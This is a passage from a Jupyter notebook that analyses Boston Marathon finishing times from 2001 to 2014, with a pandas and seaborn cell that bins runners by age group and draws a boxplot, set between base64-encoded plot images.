V7Sv/vZWb7b3t2etklLadpP9TC5su4MG\nDdKVV16pBx98UMuXL9f111/f7c9723aT1ZvtvZWOrPeGG27QSSed1Gd/w5NXv/rVrzRq1Cg98MAD\nOdHfmpoabdu2Tffcc4+WL1+uRYsWpbRvTlZvLvQ3Wb2pzK2k+CWqr7zyii6++GJJyon+SvHLUxcu\nXChJKfVWOrLWXOht6P7779c111wjKbV585w5c7Ry5Uqdf/75qqmp0dSpU3PiuDtlyhS1tLRo+vTp\n+v73v6+qqqqU+pus3kz113TI62natGn65Cc/mfj6jTfe0NNPP62qqipVVVVpx44dkqQnn3xSy5Yt\n089//nMNGTJEpaWl3c5eNDQ0qLy8PCM1HM3evXs1d+5cXXTRRZoxY4Yikc72h2NOpd5BgwapqqpK\nhYWFKikp0WmnnaadO3dmqqxeda33q1/9ap/93b59uyRp9OjReuaZZ3TZZZdp1apVOdNfSVq1apWe\neuopLVmyRC0tLYnvJ+tvb/XmSn+lznqXLl2q008/vdf+XnHFFdq+fbv+85//aNmyZVq0aJF27dql\n22+/XWVlZVnf382bN+vll19WVVWVdu7cqcWLF6u2tjbx5z37e7R6s72/yWo966yz+tx2k23fubDt\nVlZW6sILL0x8PXjwYO3fvz/x571tu13r/dKXvqQ33ngj63srJa/3zDPP7HPbHTx4sM4991xJ0rnn\nnqtt27blRH+HDBmiM844Q/n5+ZowYYIKCwu7TWZ723aT1ZsL/e1Zb1FRkc4+++yU5lZPPfWULrjg\ngsQ9TrnQ30OHDqm6ulpTp06VpJTnVT1rzYXeSkfWe7R5VfhZvuGGG7R+/Xr94Q9/0IUXXqhVq1bl\nxHH3F7/4haZMmaKnn35av/vd73TjjTeqra0t8ee9bbvJ6s1Yfwf04tAs9Pbbb7tLL73UOefcpZde\n6l5//XXnnHO//vWv3Zo1a474+ccff9xdfvnl7sCBA4nvhffkNTc3u0OHDrnp06dn3bXF+/btc9On\nT3d/+ctfEt+bN2+ee/XVV51zzi1dutQ9+eSTR/y9ZPXu2rXLXXjhha69vd21tLS4yy67zO3atSv9\nRfRDsnpT6e+8efNcdXW1c8653//+9+6mm27Kif4+9thj7mc/+5lzzrm6ujp37rnnum9961t99jdZ\nvbnQ32T1zpo1q8/+ht55553Edh/eG5DN/e1qzpw5iXvy+upvqGu9udDfUFhrKttusp/JhW33kUce\nccuWLXPOOffee++56dOnu29/+9t99jZZvbnQ22T1XnzxxX3295prrnGPP/64c865hx56yK1evTon\n+vv888+7b37zm865eL3Tpk1z8+fP77O/yerNhf4mq/eSSy5Jad+8cOFCt2PHjsTvc6G/zz33nLvt\nttsSv091v9yz1lzorXNH1pvKvvmcc85xe/fudc4598wzz7hFixblRG9//OMfu/vvv985F7+/9Jxz\nzklpXpWs3kz1N3Cuy9qjQe+8846uv/56bdiwQTt37tTy5cuVn5+vkSNH6tZbb1VJSUniZ9vb2/X5\nz39eo0ePTjwR59RTT9XChQv129/+Vhs3blQsFtOCBQs0bdq0TJWU1IoVK/TUU09pwoQJie/dcsst\nWrlypVpbW3XiiSdqxYoV3Z4SdLR6f/WrX+nJJ59Ufn6+Zs6cqUsvvXTAazqaZPVef/31WrVqVa/9\nleL3QaxevVrRaFTFxcVasWKFhg8fnvX9bWpq0uLFi/X++++rra1NV111lU444QQtXbq01/5Kvdeb\n7f1NVu/o0aOPuv121XW7l5T1/e2qqqpKt956q4Ig6LO/oZ71Znt/Q2Gtzc3Nffa2t/13tve2ra1N\nN910k/bs2SNJuuGGGzR48OA+e9tbvdne22T1FhUV9dnfPXv2aMmSJTp8+LDKy8t15513qqysLOv7\nK0lr1qzRq6++qlgspkWLFun444/vs7+91Zvt/ZWOrHfYsGEp7ZtnzJihDRs2dHviYLb398EHH1Q0\nGtUVV1whSaqurk5pv5ys1lzobc96+5o3S9LLL7+sn/zkJyosLFRBQYFuu+02jR49Out7e+jQId10\n002qra1VW1ub5s6dq5NOOqnP/vZWbyb6az7kAQAAAIBPuCcPAAAAADxCyAMAAAAAjxDyAAAAAMAj\nhDwAAAAA8AghDwAAAAA8QsgDAAAAAI8Q8gAAAADAI4Q8AAAAAPBIfqYHAABAtmlra9OyZcu0a9cu\nvf/++5owYYLWrl2rjRs3at26dSorK9MJJ5ygcePGaeHChXrppZd07733qq2tTWPGjNFtt92mwYMH\nZ7oMAIBRrOQBANDDli1bVFhYqA0bNujZZ59VU1OTHnjgAa1fv16bN2/W+vXrtXv3bklSTU2Nfvzj\nH+uXv/ylHnvsMZ1++um64447MlwBAMAyVvIAAOjhlFNO0eDBg7Vu3Tr9+9//1u7du3XqqafqnHPO\nUUlJiSTpq1/9qg4dOqR//OMf2rt3r6qqqiRJ7e3trOIBADKKkAcAQA9//OMfde+992ru3Lm65JJL\ndODAAZWXl6uuri7xM845SfFQN2XKFP30pz+VJDU3N6uhoSEj4wYAQOJyTQAAjvCXv/xF5513nmbO\nnKlhw4bpb3/7myTpxRdfVH19vVpaWvTMM88oCAKdfPLJ2rJli6qrqyVJ9913n9asWZPB0QMArAtc\neCoSAABIkv75z39q0aJFKigo0IgRIzRq1ChVVFRoxIgReuSRR1RcXKwhQ4Zo6tSpuvLKK/X888/r\n7rvvVnt7u0aNGqU1a9aooqIi02UAAIwi5AEAkILq6mq98MIL+sY3viFJuvrqq3XppZfqC1/4QkbH\nBQBAT9yTBwBACkaPHq2tW7fqggsukCSdeeaZBDwAQFZiJQ8AAAAAPMKDVwAAAADAI4Q8AAAAAPAI\nIQ8AAAAAPELIAwAAAACPEPIAAAAAwCOEPAAAAADwyP8HDheCt+fdrzYAAAAASUVORK5CYII=\n", "text": [ "<matplotlib.figure.Figure at 0x11417ab10>" ] } ], "prompt_number": 144 }, { "cell_type": "code", "collapsed": false, "input": [ "# wow that is a hideous, useless plot. Looks like women finish a predictable amount worse than men every year?\n", "# I wonder how, across all years, age groups do. (That one might benefit from a gender split, more than the above)\n", "# Also TODO: a map of the states & countries of Boston Marathon participants\n", "\n", "alltimes\n", "agegroups = range(15,90,5)\n", "agebins = pd.cut(alltimes['age'], agegroups,\n", " labels=['{}-{}'.format(age,age+5) for age in agegroups][:-1])\n", "\n", "f, ax1 = plt.subplots(1)\n", "ax1.set_title(\"Boston Marathon times 2001-2014 by age group\")\n", "seaborn.boxplot(pd.Series(alltimes.loc[:, \"official\"], name=\"time in minutes\"), groupby=agebins, ax=ax1)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 154, "text": [ "<matplotlib.axes.AxesSubplot at 0x120f0af10>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA3kAAAJoCAYAAADbDShfAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl8VPW9//H3SSY7JECIyCIgiGBdEUFRdrUqlSsuFFHQ\nKvVarbYXf1ZBVNxQ4baKy71K60JFrVBRqrX2Vva1YqutVVkU2bcEspBMQjJJzu+PNGdODGSDmUm+\n39fz8fDhl8nJyedkMjPn810+X8d1XVcAAAAAACPExToAAAAAAMCxQ5IHAAAAAAYhyQMAAAAAg5Dk\nAQAAAIBBSPIAAAAAwCAkeQAAAABgEJI8AGiinTt36pRTTtHo0aM1evRojRo1Sj/84Q/16aefNvmc\nn3/+uaZNm3bMYnzuuefUp08fLViwoMbjxcXF6tu3r37yk58cs59VWFioG264wft3nz59lJ+ff8zO\n77ds2TI9++yzkqQlS5bosccei8jPOZJDhw5pypQpGjVqlC6//HLdd999Ki0tlSRt3bpV1113nX7w\ngx9ozJgx+vbbb73ve/vttzVy5Ehdcskleuihh1ReXl7jvBs2bNCgQYPq/NkrV67U1VdfrdGjR+uq\nq67SqlWrvK+9+OKLuuyyy/T9739fzz//fK3vXbVqlUaPHn3Y8y5atEj9+vU77Nc+/vhjXXbZZXXG\nBQBoPkjyAOAoJCcna+HChVq4cKHef/993XTTTZoyZUqTz/fNN99o3759xyw+x3HUqVMnvffeezUe\n/8tf/qK0tLRj9nMkqaCgQP/6179qPBaprVj/9a9/qaCgQJI0YsQI3X///RH5OUfywgsvyHVdvf/+\n+3rvvfdUWlqq2bNnS5LuvvtuXX/99frggw9055136mc/+5kkadOmTXr++ef1xhtv6M9//rMKCws1\nZ84cSVJFRYXmzJmjiRMnqri4+Ig/t7CwUHfffbdmzpyphQsX6oknntCkSZMUDAa1fPly/d///Z/e\nffdd/fGPf9THH3+sDz/8UFJVUvr0009r0qRJqqioqHXerVu3asaMGRF7vgAA0RWIdQAAYJK8vDwd\nd9xx3r/nzZun119/XXFxcWrfvr0eeOABde/eXX/72980Y8YMVVRUyHEc3XrrrTrjjDP07LPPqqio\nSPfdd58ef/zxI37/5MmT1apVK23atEl79+5Vjx499NRTTyk1NbVWTIMGDdLixYu1b98+dejQQZL0\n7rvvatSoUdqyZYskacuWLXrkkUdUUlKi7Oxs9enTR7NmzVJiYqJOO+00XXTRRdqwYYN++ctfasOG\nDZo/f75CoZAKCgp0yy23aNy4cZoyZYpKS0t15ZVXeiOHzz33nP7xj38oPz9fEydO1PXXXy9J+p//\n+R/96U9/Unx8vLp3764HH3xQ7du314QJE9S3b199+umn2r17t8455xzNmDFDjuN41/PPf/5T8+bN\nU0VFhVq1aqVu3brpL3/5i1588UVNmDBBp512mv7617/qwIEDuuGGG3TgwAGtW7dOJSUlmjVrlk4+\n+WQVFhZq+vTp2rRpk8rLyzVw4EDdc889io+P17PPPqtFixYpISFBbdq00ZNPPqmsrKwav9MBAwao\nS5cukqS4uDj16dNH3377rfbt26ctW7boBz/4gSRpyJAheuihh/TVV19p+fLluvDCC9W2bVtJ0tix\nY/XYY4/pxz/+sb788ktt2rRJzzzzjG655ZYj/n2Vl5froYceUs+ePSVJPXv2lOu6ysvL00cffaRR\no0YpOTlZknTVVVfpvffe02WXXaZVq1aptLRUjz/+uDcCWq2kpET33HOPpkyZov/3//7fEX92SUmJ\nfv7zn2vbtm1q3bq1Hn30UXXo0EFDhw7V/Pnz1b17d0nSTTfdpAkTJmjEiBHe91ZWVurxxx/X559/\nrmAwKNd19dhjj+nss89Wbm6upkyZoh07dqhNmzZq3769Tj75ZN1xxx3avHmzHn/8ceXl5amyslIT\nJkzQ1VdfXSu2zz//3BsZ7dq1q3bv3q3JkyfLdV1Nnz5dqampOnTokObPn6933333iK+pk08+WTff\nfLMk1fj3iBEjdNFFF+nvf/+7CgsLddNNN2ncuHFH/F0BQMy5AIAm2bFjh3vKKae4V1xxhXvFFVe4\nw4cPd0899VR3+fLlruu67po1a9yLL77Yzc3NdV3Xdd955x135MiRruu67g033OB+8MEHruu67oYN\nG9xHHnnEO+bWW2+t9/vvvfded9y4cW5ZWZkbCoXcK6+80l2wYEGtGJ977jn3kUcecR999FH317/+\nteu6rrtr1y73mmuuqfGzZsyY4b733nuu67puKBRyR40a5f7lL39xXdd1e/fu7f7hD39wXdd1g8Gg\nO3bsWDc/P991Xdf97LPP3L59+7qu67o7d+50zzrrLO9n9+7d23311Vdd13Xdr776yj399NPdUCjk\nvv322+7YsWPdkpISL8aJEye6ruu648ePd//rv/7LdV3XLSoqcgcPHuz+9a9/Pex1Pfroo67ruu6C\nBQu86xg/frx75513uq7ruv/85z/d3r17u0uXLnVd13Uff/xx94EHHnBd13UnT57szp0713Vd1y0v\nL3fvvvtu9ze/+Y27e/dut1+/fm5ZWZnruq77yiuvuIsWLar18/127tzpDho0yF22bJn72WefuZde\nemmNr48bN85dvHix++CDD7qzZ8/2Ht+6das7YMCAGsfu2LGjxu+wPr/61a/ca665xnVd1504caL3\nN+W6rrt69Wr3yiuvrHH8X//6V/fyyy+v8djdd9/tLliwoNbz993vO+WUU9zPPvvMdV3XnTdvnjtm\nzBjXdV13+vTp7syZM13Xdd1t27a5w4YNcysrK2t8/2effeb+/Oc/9/49e/Zs7zmbNGmS+8tf/tJ1\nXdfNzs52Bw0a5D733HNueXm5O3LkSPfLL790Xdd1Dx486F522WXuP/7xjxrnDoVC7pAhQ9wVK1Z4\nsfbp08ddt26dF/fu3btd1637NTV58mT3lVde8c7r//fw4cPdqVOnuq7runv37nXPO+88d+PGjYf9\nXQFAc8BIHgAchaSkJC1cuND792effaZbbrlFCxcu1MqVKzVy5Ehv5ObKK6/U9OnTtXPnTo0cOVIP\nP/ywlixZovPPP1+TJk2SVHN6Y13f7ziOBg8erISEBEnSySef7E1fPJwrrrhCU6dO1S233KI//OEP\ntdZl/eIXv9CqVav00ksvacuWLcrOzlYwGPS+fs4550iSUlNT9eKLL2rp0qXatm2b1q9fr5KSklqx\nV7v88sslVa3PKysrU1FRkVasWKGrr77aG3GaMGGCXnzxRYVCIUnS8OHDJUlpaWnq1q2bDh48WOu8\nrusecWrh97//fUnyRtoGDx4sSTrhhBP0ySefSKpa0/fFF1/o7bffllQ1nTEuLk7HH3+8+vTpoyuv\nvFKDBw/WkCFDNHDgwCP+Xr/44gvdeeedmjBhgoYOHXrE9Zjx8fGHjTcurmmrJsrLy/Xkk09q5cqV\n+u1vfyvp8L//+s7/xhtvKBAI6KqrrtLOnTvrPLZ3794666yzJEmjR4/WQw89pKKiIo0bN04TJkzQ\npEmTNG/ePI0ZM6bGyKsknXXWWfr5z3+uN998Uzt27NC6devUqlUrSdKKFSv07rvvSpKysrJ0ySWX\nSKqaQrpjxw7dd9993nnKysq0fv16nXnmmd5jmzZt8l4PknTuueeqV69e3tePP/54dezYUVLdr6kj\n/Q6rVY9Cd+jQQYMHD9bq1at18skn1/k7A4BYIckDgGOob9++OvHEE/X5558fNhFxXVcVFRUaO3as\nhg8frtWrV2vlypV6/vnna62bO9L3VxfrSEpK8h53HOeIN6iO4+j0009XRUWFNmzYoA8//FCvv/66\nFi1a5B0zadIkVVZW6rLLLtOwYcO0d+/eGueonga6d+9ejR07Vtdee63OOeccXXLJJVq2bNkRfx+B\nQMCL4UjXVFlZqfLycu/x6uTPf82Hu6bvJhLVEhMTa/w7Pj6+1jGVlZV65pln1KNHD0nSwYMHvXO+\n/vrr+uKLL7RmzRo98cQTOvfcczV16tRa5/jggw/0yCOP6MEHH/SmZ3bq1En79++vcdy+ffu8RCMn\nJ6fW43V566239NZbb0mSTj/9dD366KMqKCjQz372MzmOo/nz5ysjI0OS1LFjR2VnZzfq/AsXLtSh\nQ4c0evRohUIhb7rt7Nmza0w7lmonjI7jKCEhQSeeeKJ69+6tRYsW6Y9//KOXOPstW7ZMjz/+uG6+\n+WZddNFF6tGjh95//31JtRPg6p9TUVGh9PT0Gp0oOTk5Sk9Pr3HuwyXQ/ufcv/a0vteU/2tlZWVH\nvP6KiorD/l0BQHNB4RUAOIa2bNmirVu36tRTT9XgwYP14YcfKjc3V5K0YMECtW3bVl27dtW1116r\n9evX68orr9QjjzyigwcP6uDBgwoEAt6I1pG+v1u3bg0ukOG/qb3iiis0ffp0nXjiibVulFevXq3b\nb7/dq6D4z3/+87AFOr744gtlZmbqtttu0wUXXKClS5d6PycQCKiysrLOeKpHXBYsWOCNAM6dO1f9\n+/f3krOGXFt8fHytm3D/NR9J9dcGDRqkOXPmyHVdlZWV6ac//anefPNNbdiwQZdffrl69Oih//zP\n/9SNN96ojRs31jrPn//8Z02fPl2vvPKKl+BJVaNGJ5xwgv70pz9Jqho5io+PV+/evTV8+HAtWbJE\nubm5cl1X8+bN00UXXVTndV577bVeYZ9HH31UZWVluvnmm3XCCSfo5Zdf9hI8Sbrwwgv1/vvvq6Sk\nRGVlZXr33XfrPf/vf/97vf/++1q4cKF+/etfKykpSe+++26tBE+SNm7cqPXr10uqWmvar18/r6Ph\nuuuu08yZM3XmmWfWWr8oSWvWrNHw4cN17bXX6rTTTtOiRYu8v69hw4Z5iWFeXp4WLVokx3F04okn\nKjEx0ev82LNnj6644gp99dVXNc7ds2dPJSYmauXKlZKq1udVj+59V12vqXbt2umLL76QJOXm5urv\nf/97je+tTjZ3796tNWvWaMiQIXX+bgEglhjJA4CjUFpaWmPqY2VlpR599FF169ZN3bp104033qgb\nb7xRruuqXbt2mj17thzH0S9+8QtNnz5ds2bNkuM4uuOOO9SpUyf17dtXs2bN0p133qnnnnvuiN9/\nuJGsw93U+o8bNWqUZs2apRdeeKHW8ZMmTdIdd9yh9u3bq2PHjvr+97+v7du31zpu0KBBWrBggS65\n5BJlZmbqwgsvVFZWlrZt26auXbvqe9/7nkaOHKk333zziPFdc8012rNnj8aMGaPKykp169ZNv/zl\nL+u8ju8aOHCg7rjjDiUmJurUU0894u/hu+3qf99///2aPn26/uM//kOhUEgXXHCBfvzjHys+Pl6X\nXnqprr76aqWmpiolJeWwlTuffvppSaoxwtevXz898MADevrpp3X//ffrhRdeUFJSkp555hlJVVNW\nf/rTn+rGG29UKBTSWWedddgiK3Vd/5///Gd9+eWXCoVCNQqQ/Pd//7eGDx+uTZs2acyYMQqFQrrw\nwguPuF3C4biue8Sf7TiOevTooeeff147duxQVlaWZsyY4X192LBhuv/++49YjOTaa6/V3XffrdGj\nRys9PV0XXnihXn31VUnSlClTdP/992vUqFFq06aNOnfurJSUFCUkJOh///d/NX36dL300ksqLy/X\nz3/+c/Xt27fGuQOBgJ577jlNmzZNTz31lLp376727dsrOTm5VqXS888//4ivqQkTJujuu+/WpZde\nqs6dO+vcc8+t8b179uzRVVddpUOHDmnq1KleoRkAaI4ct6HdwQAAAIfx6aefatq0ad4UzMZ48803\n9b3vfU9nnXWWysrKdP311+tnP/uZt8auIWbOnKmJEycqMzNTe/bs0ejRo7V48WJv3d/RGjFihGbN\nmqUzzjjjmJwPACItoiN5s2fP1tKlSxUKhTR+/HidffbZmjx5suLi4tSrVy9NmzbNW1Mwb948BQIB\n3XbbbRo2bFgkwwIAAMfIvffeq08++UQzZ85s0vefdNJJevTRR1VZWalQKKRLL720UQmeJHXu3Fk/\n+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